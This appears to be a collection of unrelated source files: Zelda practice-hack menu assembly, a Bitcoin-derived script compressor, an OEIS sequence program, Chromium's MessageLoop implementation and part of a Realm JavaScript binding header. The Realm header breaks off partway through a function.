%cm_preset("Wizzrobes 2", preset_nmg_gtower_wizz2)
cm_nmg_gtower_torches1:
%cm_preset("Torches 1", preset_nmg_gtower_torches1)
cm_nmg_gtower_torches2:
%cm_preset("Torches 2", preset_nmg_gtower_torches2)
cm_nmg_gtower_helma_key:
%cm_preset("Helma Key", preset_nmg_gtower_helma_key)
cm_nmg_gtower_bombable_wall:
%cm_preset("Bombable Wall", preset_nmg_gtower_bombable_wall)
cm_nmg_gtower_moldorm_2:
%cm_preset("Moldorm 2", preset_nmg_gtower_moldorm_2)
cm_nmg_gtower_agahnim_2:
%cm_preset("Agahnim 2", preset_nmg_gtower_agahnim_2)
; GANON
cm_nmg_presets_goto_ganon:
%cm_submenu("Ganon", cm_nmg_presets_ganon)
cm_nmg_presets_ganon:
dw cm_nmg_ganon_pyramid
dw cm_nmg_ganon_pyramid_magic
dw !menu_end
%cm_header("GANON")
cm_nmg_ganon_pyramid:
%cm_preset("Ganon", preset_nmg_ganon_pyramid)
cm_nmg_ganon_pyramid_magic:
%cm_preset("Ganon (full magic)", preset_nmg_ganon_pyramid_magic)
; BOSSES
cm_nmg_presets_goto_boss:
%cm_submenu("Bosses", cm_nmg_presets_boss)
cm_nmg_presets_boss:
dw cm_nmg_east_armos
dw cm_nmg_desert_lanmolas
dw cm_nmg_hera_moldorm
dw cm_nmg_aga_agahnim
dw cm_nmg_pod_helma
dw cm_nmg_thieves_blind
dw cm_nmg_sw_mothula
dw cm_nmg_ice_kholdstare
dw cm_nmg_swamp_arrghus
dw cm_nmg_mire_vitty
dw cm_nmg_trock_trinexx
dw cm_nmg_gtower_agahnim_2
dw cm_nmg_ganon_pyramid
dw cm_nmg_ganon_pyramid_magic
dw !menu_end
%cm_header("BOSSES")
|
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Bitcoin developers
// Copyright (c) 2017-2018 The PreSaleCoinStore developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "compressor.h"
#include "hash.h"
#include "pubkey.h"
#include "script/standard.h"
bool CScriptCompressor::IsToKeyID(CKeyID& hash) const
{
if (script.size() == 25 && script[0] == OP_DUP && script[1] == OP_HASH160 && script[2] == 20 && script[23] == OP_EQUALVERIFY && script[24] == OP_CHECKSIG) {
memcpy(&hash, &script[3], 20);
return true;
}
return false;
}
bool CScriptCompressor::IsToScriptID(CScriptID& hash) const
{
if (script.size() == 23 && script[0] == OP_HASH160 && script[1] == 20 && script[22] == OP_EQUAL) {
memcpy(&hash, &script[2], 20);
return true;
}
return false;
}
bool CScriptCompressor::IsToPubKey(CPubKey& pubkey) const
{
if (script.size() == 35 && script[0] == 33 && script[34] == OP_CHECKSIG && (script[1] == 0x02 || script[1] == 0x03)) {
pubkey.Set(&script[1], &script[34]);
return true;
}
if (script.size() == 67 && script[0] == 65 && script[66] == OP_CHECKSIG && script[1] == 0x04) {
pubkey.Set(&script[1], &script[66]);
return pubkey.IsFullyValid(); // if not fully valid, a case that would not be compressible
}
return false;
}
bool CScriptCompressor::Compress(std::vector<unsigned char>& out) const
{
CKeyID keyID;
if (IsToKeyID(keyID)) {
out.resize(21);
out[0] = 0x00;
memcpy(&out[1], &keyID, 20);
return true;
}
CScriptID scriptID;
if (IsToScriptID(scriptID)) {
out.resize(21);
out[0] = 0x01;
memcpy(&out[1], &scriptID, 20);
return true;
}
CPubKey pubkey;
if (IsToPubKey(pubkey)) {
out.resize(33);
memcpy(&out[1], &pubkey[1], 32);
if (pubkey[0] == 0x02 || pubkey[0] == 0x03) {
out[0] = pubkey[0];
return true;
} else if (pubkey[0] == 0x04) {
out[0] = 0x04 | (pubkey[64] & 0x01);
return true;
}
}
return false;
}
unsigned int CScriptCompressor::GetSpecialSize(unsigned int nSize) const
{
if (nSize == 0 || nSize == 1)
return 20;
if (nSize == 2 || nSize == 3 || nSize == 4 || nSize == 5)
return 32;
return 0;
}
bool CScriptCompressor::Decompress(unsigned int nSize, const std::vector<unsigned char>& in)
{
switch (nSize) {
case 0x00:
script.resize(25);
script[0] = OP_DUP;
script[1] = OP_HASH160;
script[2] = 20;
memcpy(&script[3], &in[0], 20);
script[23] = OP_EQUALVERIFY;
script[24] = OP_CHECKSIG;
return true;
case 0x01:
script.resize(23);
script[0] = OP_HASH160;
script[1] = 20;
memcpy(&script[2], &in[0], 20);
script[22] = OP_EQUAL;
return true;
case 0x02:
case 0x03:
script.resize(35);
script[0] = 33;
script[1] = nSize;
memcpy(&script[2], &in[0], 32);
script[34] = OP_CHECKSIG;
return true;
case 0x04:
case 0x05:
unsigned char vch[33] = {};
vch[0] = nSize - 2;
memcpy(&vch[1], &in[0], 32);
CPubKey pubkey(&vch[0], &vch[33]);
if (!pubkey.Decompress())
return false;
assert(pubkey.size() == 65);
script.resize(67);
script[0] = 65;
memcpy(&script[1], pubkey.begin(), 65);
script[66] = OP_CHECKSIG;
return true;
}
return false;
}
// Amount compression:
// * If the amount is 0, output 0
// * first, divide the amount (in base units) by the largest power of 10 possible; call the exponent e (e is max 9)
// * if e<9, the last digit of the resulting number cannot be 0; store it as d, and drop it (divide by 10)
// * call the result n
// * output 1 + 10*(9*n + d - 1) + e
// * if e==9, we only know the resulting number is not zero, so output 1 + 10*(n - 1) + 9
// (this is decodable, as d is in [1-9] and e is in [0-9])
uint64_t CTxOutCompressor::CompressAmount(uint64_t n)
{
if (n == 0)
return 0;
int e = 0;
while (((n % 10) == 0) && e < 9) {
n /= 10;
e++;
}
if (e < 9) {
int d = (n % 10);
assert(d >= 1 && d <= 9);
n /= 10;
return 1 + (n * 9 + d - 1) * 10 + e;
} else {
return 1 + (n - 1) * 10 + 9;
}
}
uint64_t CTxOutCompressor::DecompressAmount(uint64_t x)
{
// x = 0 OR x = 1+10*(9*n + d - 1) + e OR x = 1+10*(n - 1) + 9
if (x == 0)
return 0;
x--;
// x = 10*(9*n + d - 1) + e
int e = x % 10;
x /= 10;
uint64_t n = 0;
if (e < 9) {
// x = 9*n + d - 1
int d = (x % 9) + 1;
x /= 9;
// x = n
n = x * 10 + d;
} else {
n = x + 1;
}
while (e) {
n *= 10;
e--;
}
return n;
}
|
; A077444: Numbers k such that (k^2 + 4)/2 is a square.
; Submitted by Christian Krause
; 2,14,82,478,2786,16238,94642,551614,3215042,18738638,109216786,636562078,3710155682,21624372014,126036076402,734592086398,4281516441986,24954506565518,145445522951122,847718631141214,4940866263896162,28797478952235758,167844007449518386,978266565744874558,5701755387019728962,33232265756373499214,193691839151221266322,1128918769150954098718,6579820775754503325986,38350005885376065857198,223520214536501891817202,1302771281333635285046014,7593107473465309818458882,44255873559458223625707278
mov $1,1
mov $2,1
lpb $0
sub $0,1
add $2,$1
add $1,$2
add $1,$2
add $2,$1
lpe
mov $0,$2
mul $0,2
|
cpz #{c1}
bcc {la1}
|
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/message_loop/message_loop.h"
#include <utility>
#include "base/bind.h"
#include "base/logging.h"
#include "base/memory/ptr_util.h"
#include "base/message_loop/message_pump_default.h"
#include "base/message_loop/message_pump_for_io.h"
#include "base/message_loop/message_pump_for_ui.h"
#include "base/optional.h"
#include "base/run_loop.h"
#include "base/task/sequence_manager/sequence_manager.h"
#include "base/task/sequence_manager/sequence_manager_impl.h"
#include "base/task/sequence_manager/task_queue.h"
#include "build/build_config.h"
#if defined(OS_MACOSX)
#include "base/message_loop/message_pump_mac.h"
#endif
namespace base {
namespace {
MessageLoop::MessagePumpFactory* message_pump_for_ui_factory_ = nullptr;
} // namespace
// Unfortunately since we're not on C++17 we're required to provide an out of
// line definition.
constexpr MessageLoop::Type MessageLoop::TYPE_DEFAULT;
constexpr MessageLoop::Type MessageLoop::TYPE_UI;
constexpr MessageLoop::Type MessageLoop::TYPE_CUSTOM;
constexpr MessageLoop::Type MessageLoop::TYPE_IO;
#if defined(OS_ANDROID)
constexpr MessageLoop::Type MessageLoop::TYPE_JAVA;
#endif
MessageLoop::MessageLoop(Type type) : MessageLoop(type, nullptr) {
// For TYPE_CUSTOM you must either use
// MessageLoop(std::unique_ptr<MessagePump> pump) or
// MessageLoop::CreateUnbound()
DCHECK_NE(type_, TYPE_CUSTOM);
BindToCurrentThread();
}
MessageLoop::MessageLoop(std::unique_ptr<MessagePump> pump)
: MessageLoop(TYPE_CUSTOM, std::move(pump)) {
BindToCurrentThread();
}
MessageLoop::~MessageLoop() {
// Clean up any unprocessed tasks, but take care: deleting a task could
// result in the addition of more tasks (e.g., via DeleteSoon). We set a
// limit on the number of times we will allow a deleted task to generate more
// tasks. Normally, we should only pass through this loop once or twice. If
// we end up hitting the loop limit, then it is probably due to one task that
// is being stubborn. Inspect the queues to see who is left.
bool tasks_remain;
for (int i = 0; i < 100; ++i) {
backend_->DeletePendingTasks();
// If we end up with empty queues, then break out of the loop.
tasks_remain = backend_->HasTasks();
if (!tasks_remain)
break;
}
DCHECK(!tasks_remain);
// If |pump_| is non-null, this message loop has been bound and should be the
// current one on this thread. Otherwise, this loop is being destructed before
// it was bound to a thread, so a different message loop (or no loop at all)
// may be current.
DCHECK((pump_ && IsBoundToCurrentThread()) ||
(!pump_ && !IsBoundToCurrentThread()));
// iOS just attaches to the loop, it doesn't Run it.
// TODO(stuartmorgan): Consider wiring up a Detach().
#if !defined(OS_IOS)
// There should be no active RunLoops on this thread, unless this MessageLoop
// isn't bound to the current thread (see other condition at the top of this
// method).
DCHECK((!pump_ && !IsBoundToCurrentThread()) ||
!RunLoop::IsRunningOnCurrentThread());
#endif // !defined(OS_IOS)
}
// static
bool MessageLoop::InitMessagePumpForUIFactory(MessagePumpFactory* factory) {
if (message_pump_for_ui_factory_)
return false;
message_pump_for_ui_factory_ = factory;
return true;
}
// static
std::unique_ptr<MessagePump> MessageLoop::CreateMessagePumpForType(Type type) {
if (type == MessageLoop::TYPE_UI) {
if (message_pump_for_ui_factory_)
return message_pump_for_ui_factory_();
#if defined(OS_IOS) || defined(OS_MACOSX)
return MessagePumpMac::Create();
#elif defined(OS_NACL) || defined(OS_AIX)
// Currently NaCl and AIX don't have a UI MessageLoop.
// TODO(abarth): Figure out if we need this.
NOTREACHED();
return nullptr;
#else
return std::make_unique<MessagePumpForUI>();
#endif
}
if (type == MessageLoop::TYPE_IO)
return std::make_unique<MessagePumpForIO>();
#if defined(OS_ANDROID)
if (type == MessageLoop::TYPE_JAVA)
return std::make_unique<MessagePumpForUI>();
#endif
DCHECK_EQ(MessageLoop::TYPE_DEFAULT, type);
#if defined(OS_IOS)
// On iOS, a native runloop is always required to pump system work.
return std::make_unique<MessagePumpCFRunLoop>();
#else
return std::make_unique<MessagePumpDefault>();
#endif
}
bool MessageLoop::IsType(Type type) const {
return type_ == type;
}
// TODO(gab): Migrate TaskObservers to RunLoop as part of separating concerns
// between MessageLoop and RunLoop and making MessageLoop a swappable
// implementation detail. http://crbug.com/703346
void MessageLoop::AddTaskObserver(TaskObserver* task_observer) {
DCHECK_CALLED_ON_VALID_THREAD(bound_thread_checker_);
backend_->AddTaskObserver(task_observer);
}
void MessageLoop::RemoveTaskObserver(TaskObserver* task_observer) {
DCHECK_CALLED_ON_VALID_THREAD(bound_thread_checker_);
backend_->RemoveTaskObserver(task_observer);
}
bool MessageLoop::IsBoundToCurrentThread() const {
return backend_->IsBoundToCurrentThread();
}
bool MessageLoop::IsIdleForTesting() {
return backend_->IsIdleForTesting();
}
MessageLoopBase* MessageLoop::GetMessageLoopBase() {
return backend_.get();
}
//------------------------------------------------------------------------------
// static
std::unique_ptr<MessageLoop> MessageLoop::CreateUnbound(Type type) {
return WrapUnique(new MessageLoop(type, nullptr));
}
// static
std::unique_ptr<MessageLoop> MessageLoop::CreateUnbound(
std::unique_ptr<MessagePump> custom_pump) {
return WrapUnique(new MessageLoop(TYPE_CUSTOM, std::move(custom_pump)));
}
MessageLoop::MessageLoop(Type type, std::unique_ptr<MessagePump> custom_pump)
: backend_(sequence_manager::internal::SequenceManagerImpl::CreateUnbound(
sequence_manager::SequenceManager::Settings{.message_loop_type =
type})),
default_task_queue_(CreateDefaultTaskQueue()),
type_(type),
custom_pump_(std::move(custom_pump)) {
// Bound in BindToCurrentThread();
DETACH_FROM_THREAD(bound_thread_checker_);
}
scoped_refptr<sequence_manager::TaskQueue>
MessageLoop::CreateDefaultTaskQueue() {
sequence_manager::internal::SequenceManagerImpl* manager =
static_cast<sequence_manager::internal::SequenceManagerImpl*>(
backend_.get());
scoped_refptr<sequence_manager::TaskQueue> default_task_queue =
manager->CreateTaskQueueWithType<sequence_manager::TaskQueue>(
sequence_manager::TaskQueue::Spec("default_tq"));
manager->SetTaskRunner(default_task_queue->task_runner());
return default_task_queue;
}
void MessageLoop::BindToCurrentThread() {
DCHECK_CALLED_ON_VALID_THREAD(bound_thread_checker_);
thread_id_ = PlatformThread::CurrentId();
DCHECK(!pump_);
std::unique_ptr<MessagePump> pump = CreateMessagePump();
pump_ = pump.get();
DCHECK(!MessageLoopCurrent::IsSet())
<< "should only have one message loop per thread";
backend_->BindToCurrentThread(std::move(pump));
}
std::unique_ptr<MessagePump> MessageLoop::CreateMessagePump() {
if (custom_pump_) {
return std::move(custom_pump_);
} else {
return CreateMessagePumpForType(type_);
}
}
void MessageLoop::SetTimerSlack(TimerSlack timer_slack) {
backend_->SetTimerSlack(timer_slack);
}
std::string MessageLoop::GetThreadName() const {
return backend_->GetThreadName();
}
scoped_refptr<SingleThreadTaskRunner> MessageLoop::task_runner() const {
return backend_->GetTaskRunner();
}
void MessageLoop::SetTaskRunner(
scoped_refptr<SingleThreadTaskRunner> task_runner) {
DCHECK(task_runner);
backend_->SetTaskRunner(task_runner);
}
#if !defined(OS_NACL)
//------------------------------------------------------------------------------
// MessageLoopForUI
MessageLoopForUI::MessageLoopForUI(Type type) : MessageLoop(type) {
#if defined(OS_ANDROID)
DCHECK(type == TYPE_UI || type == TYPE_JAVA);
#else
DCHECK_EQ(type, TYPE_UI);
#endif
}
#if defined(OS_IOS)
void MessageLoopForUI::Attach() {
backend_->AttachToMessagePump();
}
#endif // defined(OS_IOS)
#if defined(OS_ANDROID)
void MessageLoopForUI::Abort() {
static_cast<MessagePumpForUI*>(pump_)->Abort();
}
bool MessageLoopForUI::IsAborted() {
return static_cast<MessagePumpForUI*>(pump_)->IsAborted();
}
void MessageLoopForUI::QuitWhenIdle(base::OnceClosure callback) {
static_cast<MessagePumpForUI*>(pump_)->QuitWhenIdle(std::move(callback));
}
#endif // defined(OS_ANDROID)
#if defined(OS_WIN)
void MessageLoopForUI::EnableWmQuit() {
static_cast<MessagePumpForUI*>(pump_)->EnableWmQuit();
}
#endif // defined(OS_WIN)
#endif // !defined(OS_NACL)
} // namespace base
|
////////////////////////////////////////////////////////////////////////////
//
// Copyright 2016 Realm Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
////////////////////////////////////////////////////////////////////////////
#pragma once
#include "js_class.hpp"
#include "js_types.hpp"
#include "js_util.hpp"
#include "js_realm_object.hpp"
#include "js_list.hpp"
#include "js_set.hpp"
#include "js_dictionary.hpp"
#include "js_results.hpp"
#include "js_schema.hpp"
#include "js_observable.hpp"
#include "platform.hpp"
#if REALM_ENABLE_SYNC
#include "js_sync.hpp"
#include "js_app.hpp"
#include "js_auth.hpp"
#include "js_app_credentials.hpp"
#include "js_email_password_auth.hpp"
#include "js_api_key_auth.hpp"
#include <realm/sync/config.hpp>
#include <realm/object-store/sync/async_open_task.hpp>
#include <realm/object-store/sync/sync_manager.hpp>
#endif
#include <realm/object-store/util/scheduler.hpp>
#include <realm/object-store/binding_context.hpp>
#include <realm/object-store/object_accessor.hpp>
#include <realm/object-store/results.hpp>
#include <realm/object-store/shared_realm.hpp>
#include <realm/object-store/thread_safe_reference.hpp>
#include <realm/object-store/util/scheduler.hpp>
#include <realm/disable_sync_to_disk.hpp>
#include <realm/global_key.hpp>
#include <realm/util/file.hpp>
#include <realm/util/scope_exit.hpp>
#include <realm/sync/config.hpp>
#include <cctype>
#include <list>
#include <map>
#include <any>
namespace realm {
namespace js {
static std::string normalize_realm_path(std::string path) {
#if defined(WIN32) && WIN32
if (path.size() > 1 && path[0] != '\\' && path[1] != ':') {
path = default_realm_file_directory() + "\\" + path;
}
std::replace(path.begin(), path.end(), '/', '\\');
#else
if (path.size() && path[0] != '/' && path[0] != '.') {
path = default_realm_file_directory() + "/" + path;
}
#endif
return path;
}
template<typename T> class RealmClass;
template<typename T> class AsyncOpenTaskClass;
template<typename T>
class RealmDelegate : public BindingContext {
private:
void did_change(std::vector<ObserverState> const&, std::vector<void*> const&, bool) override {
HANDLESCOPE(m_context)
notify(m_notifications, "change");
}
void schema_did_change(realm::Schema const& schema) override {
HANDLESCOPE(m_context)
ObjectType schema_object = Schema<T>::object_for_schema(m_context, schema);
notify(m_schema_notifications, "schema", schema_object);
}
void before_notify() override {
HANDLESCOPE(m_context)
notify(m_before_notify_notifications, "beforenotify");
}
public:
using GlobalContextType = typename T::GlobalContext;
using FunctionType = typename T::Function;
using ObjectType = typename T::Object;
using ValueType = typename T::Value;
using Value = js::Value<T>;
using ObjectDefaultsMap = typename Schema<T>::ObjectDefaultsMap;
using ConstructorMap = typename Schema<T>::ConstructorMap;
RealmDelegate(std::weak_ptr<realm::Realm> realm, GlobalContextType ctx)
: m_context(ctx),
m_realm(realm)
{
SharedRealm sharedRealm = realm.lock();
m_realm_path = sharedRealm->config().path;
}
~RealmDelegate() {
on_context_destroy<RealmObjectClass<T>>(m_context, m_realm_path);
// All protected values need to be unprotected while the context is retained.
m_defaults.clear();
m_constructors.clear();
m_notifications.clear();
m_schema_notifications.clear();
m_before_notify_notifications.clear();
}
void add_notification(FunctionType notification) {
add(m_notifications, notification);
}
void remove_notification(FunctionType notification) {
remove(m_notifications, notification);
}
void remove_all_notifications() {
m_notifications.clear();
}
void add_schema_notification(FunctionType notification) {
SharedRealm realm = m_realm.lock();
// schema change notifications only happen if the Realm has a read transaction active
realm->read_group();
add(m_schema_notifications, notification);
}
void remove_schema_notification(FunctionType notification) {
remove(m_schema_notifications, notification);
}
void remove_all_schema_notifications() {
m_schema_notifications.clear();
}
void add_before_notify_notification(FunctionType notification) {
add(m_before_notify_notifications, notification);
}
void remove_before_notify_notification(FunctionType notification) {
remove(m_before_notify_notifications, notification);
}
void remove_all_before_notify_notification() {
m_before_notify_notifications.clear();
}
ObjectDefaultsMap m_defaults;
ConstructorMap m_constructors;
private:
Protected<GlobalContextType> m_context;
std::list<Protected<FunctionType>> m_notifications;
std::list<Protected<FunctionType>> m_schema_notifications;
std::list<Protected<FunctionType>> m_before_notify_notifications;
std::weak_ptr<realm::Realm> m_realm;
std::string m_realm_path;
void add(std::list<Protected<FunctionType>>& notifications, FunctionType fn) {
if (std::find(notifications.begin(), notifications.end(), fn) != notifications.end()) {
return;
}
notifications.emplace_back(m_context, std::move(fn));
}
void remove(std::list<Protected<FunctionType>>& notifications, FunctionType fn) {
// This doesn't just call remove() because that would create a new Protected<FunctionType>
notifications.remove_if([&](auto& notification) { return notification == fn; });
}
// Note that this intentionally copies the `notifications` argument as we
// want to iterate over a copy in case the user adds/removes notifications
// from inside the handler
template<typename... Args>
void notify(std::list<Protected<FunctionType>> notifications, const char *name, Args&&... args) {
if (notifications.empty()) {
return;
}
auto realm = m_realm.lock();
if (!realm) {
throw std::runtime_error("Realm no longer exists");
}
ObjectType realm_object = create_object<T, RealmClass<T>>(m_context, new SharedRealm(realm));
ValueType arguments[] = {realm_object, Value::from_string(m_context, name), args...};
auto argc = std::distance(std::begin(arguments), std::end(arguments));
for (auto &callback : notifications) {
Function<T>::callback(m_context, callback, realm_object, argc, arguments);
}
}
friend class RealmClass<T>;
};
template<typename T>
class ShouldCompactOnLaunchFunctor {
public:
ShouldCompactOnLaunchFunctor(typename T::Context ctx, typename T::Function should_compact_on_launch_func)
: m_ctx(Context<T>::get_global_context(ctx))
, m_func(ctx, should_compact_on_launch_func)
, m_event_loop_dispatcher {ShouldCompactOnLaunchFunctor<T>::main_loop_handler}
, m_mutex{new std::mutex}
, m_cond_var{new std::condition_variable}
{
}
bool operator ()(const uint64_t total_bytes, const uint64_t used_bytes) {
m_event_loop_dispatcher(this, total_bytes, used_bytes);
std::unique_lock<std::mutex> lock(*m_mutex);
m_cond_var->wait(lock, [this] { return this->m_ready; });
return m_should_compact_on_launch;
}
static void main_loop_handler(ShouldCompactOnLaunchFunctor<T>* this_object,
const uint64_t total_bytes,
const uint64_t used_bytes) {
HANDLESCOPE(this_object->m_ctx);
const int argc = 2;
typename T::Value arguments[argc] = { Value<T>::from_number(this_object->m_ctx, total_bytes), Value<T>::from_number(this_object->m_ctx, used_bytes) };
typename T::Value ret_val = Function<T>::callback(this_object->m_ctx, this_object->m_func, Object<T>::create_empty(this_object->m_ctx), argc, arguments);
this_object->m_should_compact_on_launch = Value<T>::validated_to_boolean(this_object->m_ctx, ret_val);
this_object->m_ready = true;
this_object->m_cond_var->notify_one();
}
private:
const Protected<typename T::GlobalContext> m_ctx;
const Protected<typename T::Function> m_func;
util::EventLoopDispatcher<void(ShouldCompactOnLaunchFunctor<T>* this_object,
uint64_t total_bytes,
uint64_t used_bytes)> m_event_loop_dispatcher;
bool m_ready = false;
bool m_should_compact_on_launch = false;
std::shared_ptr<std::mutex> m_mutex;
std::shared_ptr<std::condition_variable> m_cond_var;
};
std::string default_path();
void set_default_path(std::string path);
void clear_test_state();
template<typename T>
class RealmClass : public ClassDefinition<T, SharedRealm, ObservableClass<T>> {
using GlobalContextType = typename T::GlobalContext;
using ContextType = typename T::Context;
using FunctionType = typename T::Function;
using ObjectType = typename T::Object;
using ValueType = typename T::Value;
using Arguments = js::Arguments<T>;
using String = js::String<T>;
using Object = js::Object<T>;
using Value = js::Value<T>;
using ReturnValue = js::ReturnValue<T>;
using NativeAccessor = realm::js::NativeAccessor<T>;
#if REALM_ENABLE_SYNC
using RealmCallbackHandler = void(ThreadSafeReference&& realm, std::exception_ptr error);
#endif
public:
using ObjectDefaults = typename Schema<T>::ObjectDefaults;
using ObjectDefaultsMap = typename Schema<T>::ObjectDefaultsMap;
using ConstructorMap = typename Schema<T>::ConstructorMap;
using WaitHandler = void(std::error_code);
using ProgressHandler = void(uint64_t transferred_bytes, uint64_t transferrable_bytes);
static FunctionType create_constructor(ContextType);
// methods
static void objects(ContextType, ObjectType, Arguments &, ReturnValue &);
static void object_for_primary_key(ContextType, ObjectType, Arguments &, ReturnValue &);
static void create(ContextType, ObjectType, Arguments &, ReturnValue &);
static void delete_one(ContextType, ObjectType, Arguments &, ReturnValue &);
static void delete_all(ContextType, ObjectType, Arguments &, ReturnValue &);
static void write(ContextType, ObjectType, Arguments &, ReturnValue &);
static void begin_transaction(ContextType, ObjectType, Arguments &, ReturnValue&);
static void commit_transaction(ContextType, ObjectType, Arguments &, ReturnValue&);
static void cancel_transaction(ContextType, ObjectType, Arguments &, ReturnValue&);
static void add_listener(ContextType, ObjectType, Arguments &, ReturnValue &);
static void wait_for_download_completion(ContextType, ObjectType, Arguments &, ReturnValue &);
static void remove_listener(ContextType, ObjectType, Arguments &, ReturnValue &);
static void remove_all_listeners(ContextType, ObjectType, Arguments &, ReturnValue &);
static void close(ContextType, ObjectType, Arguments &, ReturnValue &);
static void compact(ContextType, ObjectType, Arguments &, ReturnValue &);
static void writeCopyTo(ContextType, ObjectType, Arguments &, ReturnValue &);
static void delete_model(ContextType, ObjectType, Arguments &, ReturnValue &);
static void object_for_object_id(ContextType, ObjectType, Arguments &, ReturnValue&);
static void get_schema_name_from_object(ContextType, ObjectType, Arguments &, ReturnValue&);
static void update_schema(ContextType, ObjectType, Arguments &, ReturnValue&);
#if REALM_ENABLE_SYNC
static void async_open_realm(ContextType, ObjectType, Arguments &, ReturnValue&);
#endif
// properties
static void get_empty(ContextType, ObjectType, ReturnValue &);
static void get_path(ContextType, ObjectType, ReturnValue &);
static void get_schema_version(ContextType, ObjectType, ReturnValue &);
static void get_schema(ContextType, ObjectType, ReturnValue &);
static void get_in_memory(ContextType, ObjectType, ReturnValue &);
static void get_read_only(ContextType, ObjectType, ReturnValue &);
static void get_is_in_transaction(ContextType, ObjectType, ReturnValue &);
static void get_is_closed(ContextType, ObjectType, ReturnValue &);
#if REALM_ENABLE_SYNC
static void get_sync_session(ContextType, ObjectType, ReturnValue &);
#endif
// static methods
static void constructor(ContextType, ObjectType, Arguments &);
static SharedRealm create_shared_realm(ContextType, realm::Realm::Config, bool, ObjectDefaultsMap &&, ConstructorMap &&);
static bool get_realm_config(ContextType ctx, size_t argc, const ValueType arguments[], realm::Realm::Config &, ObjectDefaultsMap &, ConstructorMap &);
static void set_binding_context(ContextType ctx, std::shared_ptr<Realm> const& realm, bool schema_updated, ObjectDefaultsMap&& defaults, ConstructorMap&& constructors);
static void schema_version(ContextType, ObjectType, Arguments &, ReturnValue &);
static void clear_test_state(ContextType, ObjectType, Arguments &, ReturnValue &);
static void copy_bundled_realm_files(ContextType, ObjectType, Arguments &, ReturnValue &);
static void delete_file(ContextType, ObjectType, Arguments &, ReturnValue &);
static void realm_file_exists(ContextType, ObjectType, Arguments &, ReturnValue &);
static void bson_parse_json(ContextType, ObjectType, Arguments &, ReturnValue &);
// static properties
static void get_default_path(ContextType, ObjectType, ReturnValue &);
static void set_default_path(ContextType, ObjectType, ValueType value);
std::string const name = "Realm";
MethodMap<T> const static_methods = {
{"schemaVersion", wrap<schema_version>},
{"clearTestState", wrap<clear_test_state>},
{"copyBundledRealmFiles", wrap<copy_bundled_realm_files>},
{"deleteFile", wrap<delete_file>},
{"exists", wrap<realm_file_exists>},
{"_bsonParseJsonForTest", wrap<bson_parse_json>},
#if REALM_ENABLE_SYNC
{"_asyncOpen", wrap<async_open_realm>},
#endif
};
PropertyMap<T> const static_properties = {
{"defaultPath", {wrap<get_default_path>, wrap<set_default_path>}},
};
MethodMap<T> const methods = {
{"objects", wrap<objects>},
{"objectForPrimaryKey", wrap<object_for_primary_key>},
{"create", wrap<create>},
{"delete", wrap<delete_one>},
{"deleteAll", wrap<delete_all>},
{"write", wrap<write>},
{"beginTransaction", wrap<begin_transaction>},
{"commitTransaction", wrap<commit_transaction>},
{"cancelTransaction", wrap<cancel_transaction>},
{"addListener", wrap<add_listener>},
{"removeListener", wrap<remove_listener>},
{"removeAllListeners", wrap<remove_all_listeners>},
{"close", wrap<close>},
{"compact", wrap<compact>},
{"writeCopyTo", wrap<writeCopyTo>},
{"deleteModel", wrap<delete_model>},
{"_updateSchema", wrap<update_schema>},
{"_schemaName", wrap<get_schema_name_from_object>},
};
PropertyMap<T> const properties = {
{"empty", {wrap<get_empty>, nullptr}},
{"path", {wrap<get_path>, nullptr}},
{"schemaVersion", {wrap<get_schema_version>, nullptr}},
{"schema", {wrap<get_schema>, nullptr}},
{"inMemory", {wrap<get_in_memory>, nullptr}},
{"readOnly", {wrap<get_read_only>, nullptr}},
{"isInTransaction", {wrap<get_is_in_transaction>, nullptr}},
{"isClosed", {wrap<get_is_closed>, nullptr}},
#if REALM_ENABLE_SYNC
{"syncSession", {wrap<get_sync_session>, nullptr}},
#endif
};
private:
static const ObjectSchema& validated_object_schema_for_value(ContextType ctx, const SharedRealm &realm, const ValueType &value) {
std::string object_type;
// If argument is a constructor function, expect that the same constructor was used when specifying the schema.
if (Value::is_constructor(ctx, value)) {
FunctionType constructor = Value::to_constructor(ctx, value);
auto delegate = get_delegate<T>(realm.get());
for (auto &pair : delegate->m_constructors) {
if (FunctionType(pair.second) == constructor) {
object_type = pair.first;
break;
}
}
if (object_type.empty()) {
throw std::runtime_error("Constructor was not registered in the schema for this Realm");
}
}
else {
// Any other argument is expected to be able to be converted to a String containg the name of the
// internal class.
object_type = Value::validated_to_string(ctx, value, "objectType");
if (object_type.empty()) {
throw std::runtime_error("objectType cannot be empty");
}
}
// Beginning a read transaction may reread the schema, invalidating the
// pointer that we're returning. Avoid this by ensuring that we're in a
// read transaction before we search the schema.
realm->read_group();
auto &schema = realm->schema();
auto object_schema = schema.find(object_type);
if (object_schema == schema.end()) {
throw std::runtime_error("Object type '" + object_type + "' not found in schema.");
}
return *object_schema;
}
static realm::Realm::Config validate_and_normalize_config(ContextType ctx, ValueType value) {
if (!Value::is_object(ctx, value)) {
throw std::runtime_error("Invalid argument, expected a Realm configuration object");
}
ObjectType config_object = Value::validated_to_object(ctx, value);
realm::Realm::Config config;
static const String path_string = "path";
ValueType path_value = Object::get_property(ctx, config_object, path_string);
if (!Value::is_undefined(ctx, path_value)) {
config.path = Value::validated_to_string(ctx, path_value, "path");
}
else {
#if REALM_ENABLE_SYNC
ValueType sync_config_value = Object::get_property(ctx, config_object, "sync");
if (!Value::is_undefined(ctx, sync_config_value)) {
SyncClass<T>::populate_sync_config(ctx, Value::validated_to_object(ctx, Object::get_global(ctx, "Realm")), config_object, config);
}
#endif
if (config.path.empty()) {
config.path = js::default_path();
}
}
config.path = normalize_realm_path(config.path);
return config;
}
};
template<typename T>
inline typename T::Function RealmClass<T>::create_constructor(ContextType ctx) {
FunctionType realm_constructor = ObjectWrap<T, RealmClass<T>>::create_constructor(ctx);
FunctionType collection_constructor = ObjectWrap<T, CollectionClass<T>>::create_constructor(ctx);
FunctionType list_constructor = ObjectWrap<T, ListClass<T>>::create_constructor(ctx);
